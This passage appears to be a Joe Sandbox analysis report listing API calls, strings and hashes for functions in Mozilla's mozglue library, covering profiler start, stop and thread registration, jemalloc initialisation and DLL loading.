Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

free.MOZGLUE(?), ref: 6C9449C6
free.MOZGLUE(?), ref: 6C9449E9

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9447FC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C944812
[I %d/%d] profiler_shutdown, xrefs: 6C944A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C944A42
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C944828

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: ed2044174abf12f9d906fb5c1fffe88f68be097f4c668a89d2f98243855ff137
Instruction ID: db579a6a6702de581b186732dcc5661b73d364c1750cdc70719c3934005fecdf
Opcode Fuzzy Hash: ed2044174abf12f9d906fb5c1fffe88f68be097f4c668a89d2f98243855ff137
Instruction Fuzzy Hash: E0812779A08100AFDB10DF68C88875B7775BF5231CF244629E916A7F86D730E854CF9A

Function 6C944470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C944730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C9444B2,6C9BE21C,6C9BF7F8), ref: 6C94473E
Part of subcall function 6C944730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C94474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C9444BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C9444D2
InitOnceExecuteOnce.KERNEL32(6C9BF80C,6C93F240,?,?), ref: 6C94451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C94455C
LoadLibraryW.KERNEL32(?), ref: 6C944592
InitializeCriticalSection.KERNEL32(6C9BF770), ref: 6C9445A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C9445AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C9445BB
InitOnceExecuteOnce.KERNEL32(6C9BF818,6C93F240,?,?), ref: 6C944612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C944636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C944644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C94466D
VerSetConditionMask.NTDLL ref: 6C94469F
VerSetConditionMask.NTDLL ref: 6C9446AB
VerSetConditionMask.NTDLL ref: 6C9446B2
VerSetConditionMask.NTDLL ref: 6C9446B9
VerSetConditionMask.NTDLL ref: 6C9446C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9446CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C9446F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C9446FD

Strings

user32.dll, xrefs: 6C944557, 6C94463F
l, xrefs: 6C944578
WRusr.dll, xrefs: 6C9444B5
NativeNtBlockSet_Write, xrefs: 6C9446F7
kernel32.dll, xrefs: 6C9444CD

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 56a6ba62e3b53f72f06d30ff928c660c18008126b60e8d3f1d84965dd51c74c9
Instruction ID: 2bafa08cf8addf446e0a40b79bf35bfaab6f4de492a6d220e8b500c2ac318e21
Opcode Fuzzy Hash: 56a6ba62e3b53f72f06d30ff928c660c18008126b60e8d3f1d84965dd51c74c9
Instruction Fuzzy Hash: B16102B8608344BFEB109F60C889B967BB8EB4670CF24C098E9049B691D7B0C944CF95

Function 6C97E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C977090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C97B9F1,?), ref: 6C977107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C97DCF5), ref: 6C97E92D
GetCurrentThreadId.KERNEL32 ref: 6C97EA4F
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EA5C
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EA80
GetCurrentThreadId.KERNEL32 ref: 6C97EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C97DCF5), ref: 6C97EA92
GetCurrentThreadId.KERNEL32 ref: 6C97EB11
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C97EB3C
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EB5B

Part of subcall function 6C975710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C97EB71), ref: 6C9757AB

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C97EBAC

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97EBC1
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000), ref: 6C97EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C97EBE5
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,00000000), ref: 6C97EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97EC46
CloseHandle.KERNEL32(?), ref: 6C97EC55
free.MOZGLUE(00000000), ref: 6C97EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6C97EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C97EA9B

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 141eae7fe8671100a16a2f5a81d4decc7011a4b0efa1046cd812e9e3cef41389
Instruction ID: 4564b641ab553d9608937f08705a9aefb7649d57d5c0197cfeb19f7e77b0dcf9
Opcode Fuzzy Hash: 141eae7fe8671100a16a2f5a81d4decc7011a4b0efa1046cd812e9e3cef41389
Instruction Fuzzy Hash: 6CA1383D705204AFDB109F28C488BABB7B6FF96318F244029E91997F91DB70D805C7A5

Function 6C97F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C97F8F9

Part of subcall function 6C946390: GetCurrentThreadId.KERNEL32 ref: 6C9463D0
Part of subcall function 6C946390: AcquireSRWLockExclusive.KERNEL32 ref: 6C9463DF
Part of subcall function 6C946390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C94640E

ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F93A
GetCurrentThreadId.KERNEL32 ref: 6C97F98A
GetCurrentThreadId.KERNEL32 ref: 6C97F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F716

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

Part of subcall function 6C93B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C93B5E0

GetCurrentThreadId.KERNEL32 ref: 6C97F739
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97F746
GetCurrentThreadId.KERNEL32 ref: 6C97F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C9B385B,00000002,?,?,?,?,?), ref: 6C97F829
free.MOZGLUE(?,?,00000000,?), ref: 6C97F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C97F866
free.MOZGLUE(?), ref: 6C97FA0C

Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C945E8C
Part of subcall function 6C945E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945E9D
Part of subcall function 6C945E60: GetCurrentThreadId.KERNEL32 ref: 6C945EAB
Part of subcall function 6C945E60: GetCurrentThreadId.KERNEL32 ref: 6C945EB8
Part of subcall function 6C945E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945ECF
Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C945F27
Part of subcall function 6C945E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C945F47
Part of subcall function 6C945E60: GetCurrentProcess.KERNEL32 ref: 6C945F53
Part of subcall function 6C945E60: GetCurrentThread.KERNEL32 ref: 6C945F5C
Part of subcall function 6C945E60: GetCurrentProcess.KERNEL32 ref: 6C945F66
Part of subcall function 6C945E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C945F7E

free.MOZGLUE(?), ref: 6C97F9C5
free.MOZGLUE(?), ref: 6C97F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6C97F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C97F9A6
Thread , xrefs: 6C97F789
" attempted to re-register as ", xrefs: 6C97F858

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 0cf7b7be403a09e4333149f168d1c9851f4f9bc3a29a54a4420dbaf01e3be57e
Instruction ID: 2317ff18a61332c9d7c65e68afda0ff2a822ad1ead0585ffd463222ff15f1e47
Opcode Fuzzy Hash: 0cf7b7be403a09e4333149f168d1c9851f4f9bc3a29a54a4420dbaf01e3be57e
Instruction Fuzzy Hash: FA810275605600AFDB10DF24C480BABB7B5FFE5308F55456DE849ABB51EB30E809CBA2

Function 6C97EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97EE60
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EE6D
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C97EEA5
CloseHandle.KERNEL32(?), ref: 6C97EEB4
free.MOZGLUE(00000000), ref: 6C97EEBB
GetCurrentThreadId.KERNEL32 ref: 6C97EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97EECF

Part of subcall function 6C97DE60: GetCurrentThreadId.KERNEL32 ref: 6C97DE73
Part of subcall function 6C97DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C944A68), ref: 6C97DE7B
Part of subcall function 6C97DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C944A68), ref: 6C97DEB8
Part of subcall function 6C97DE60: free.MOZGLUE(00000000,?,6C944A68), ref: 6C97DEFE
Part of subcall function 6C97DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C97DF38

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

GetCurrentThreadId.KERNEL32 ref: 6C97EF1E
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EF2B
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EF59
GetCurrentThreadId.KERNEL32 ref: 6C97EFB0
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EFBD
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C97EFE1
GetCurrentThreadId.KERNEL32 ref: 6C97EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F000

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C97F02F

Part of subcall function 6C97F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C97F09B
Part of subcall function 6C97F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C97F0AC
Part of subcall function 6C97F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C97F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C97EED7
[I %d/%d] profiler_pause, xrefs: 6C97F008

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 1183c0f940aca4d05988ac0ba461eb661f9372770c10c7ed7f690f6609054dcd
Instruction ID: 6be3a1aa8d32f0ad1f5a574232d7be0da572a37423d4d24f4f16eb84a860c9a9
Opcode Fuzzy Hash: 1183c0f940aca4d05988ac0ba461eb661f9372770c10c7ed7f690f6609054dcd
Instruction Fuzzy Hash: 0F51E13D609214BFDB109B68D44C7ABB7B9EB5621CF200569E91993F81DB74C804C7FA

Function 6C96D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9BE804), ref: 6C96D047
GetSystemInfo.KERNEL32(?), ref: 6C96D093
__Init_thread_footer.LIBCMT ref: 6C96D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9BE810,00000040), ref: 6C96D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7B8,00001388), ref: 6C96D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE744,00001388), ref: 6C96D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE784,00001388), ref: 6C96D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BE7DC,00001388), ref: 6C96D1B1

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C96D322
MALLOC_OPTIONS, xrefs: 6C96D0CB
MOZ_CRASH(), xrefs: 6C96D277
<jemalloc>, xrefs: 6C96D268, 6C96D311
Compile-time page size does not divide the runtime one., xrefs: 6C96D26D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 1699d654581705a27dfc63fa1e99eb958aa2924e4b44276eebc749eb581e8183
Instruction ID: 7f47097fb90a9fd43d570dbaa2f1df57e9f6511f4a26ba5e1facfaab50932689
Opcode Fuzzy Hash: 1699d654581705a27dfc63fa1e99eb958aa2924e4b44276eebc749eb581e8183
Instruction Fuzzy Hash: 6981DE71A08240ABFB049F6AC894B6B37BCEB56B08F3001AAE81197FC0D775D804CBD5

Function 6C945E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945E9D

Part of subcall function 6C955B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9556EE,?,00000001), ref: 6C955B85
Part of subcall function 6C955B50: EnterCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955B90
Part of subcall function 6C955B50: LeaveCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955BD8
Part of subcall function 6C955B50: GetTickCount64.KERNEL32 ref: 6C955BE4

GetCurrentThreadId.KERNEL32 ref: 6C945EAB
GetCurrentThreadId.KERNEL32 ref: 6C945EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C945ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C946017

Part of subcall function 6C934310: moz_xmalloc.MOZGLUE(00000010,?,6C9342D2), ref: 6C93436A
Part of subcall function 6C934310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C9342D2), ref: 6C934387

moz_xmalloc.MOZGLUE(00000004), ref: 6C945F47
GetCurrentProcess.KERNEL32 ref: 6C945F53
GetCurrentThread.KERNEL32 ref: 6C945F5C
GetCurrentProcess.KERNEL32 ref: 6C945F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C945F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C945F27

Part of subcall function 6C94CA10: mozalloc_abort.MOZGLUE(?), ref: 6C94CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C945E8C

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C94605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C9455E1), ref: 6C9460CC

Strings

GeckoMain, xrefs: 6C945ECE, 6C946015

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 332abe0e01711363fcda2e0e2b2d5e29be43473983df069f7b8613a10bdfb734
Instruction ID: 1c29f4afb98e96900a0783d020f5d8ed114a9743bf31b2e0a3dd16d9afb944f6
Opcode Fuzzy Hash: 332abe0e01711363fcda2e0e2b2d5e29be43473983df069f7b8613a10bdfb734
Instruction Fuzzy Hash: 8D71B1B4609740DFD700DF69C480A6ABBF0FF69304F54896DE48A87B52DB31E858CB92

Function 6C949590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9331C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C933217
Part of subcall function 6C9331C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C933236
Part of subcall function 6C9331C0: FreeLibrary.KERNEL32 ref: 6C93324B
Part of subcall function 6C9331C0: __Init_thread_footer.LIBCMT ref: 6C933260
Part of subcall function 6C9331C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C93327F
Part of subcall function 6C9331C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C93328E
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9332AB
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9332D1
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9332E5
Part of subcall function 6C9331C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9332F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C949675
__Init_thread_footer.LIBCMT ref: 6C949697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C9496E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C949707
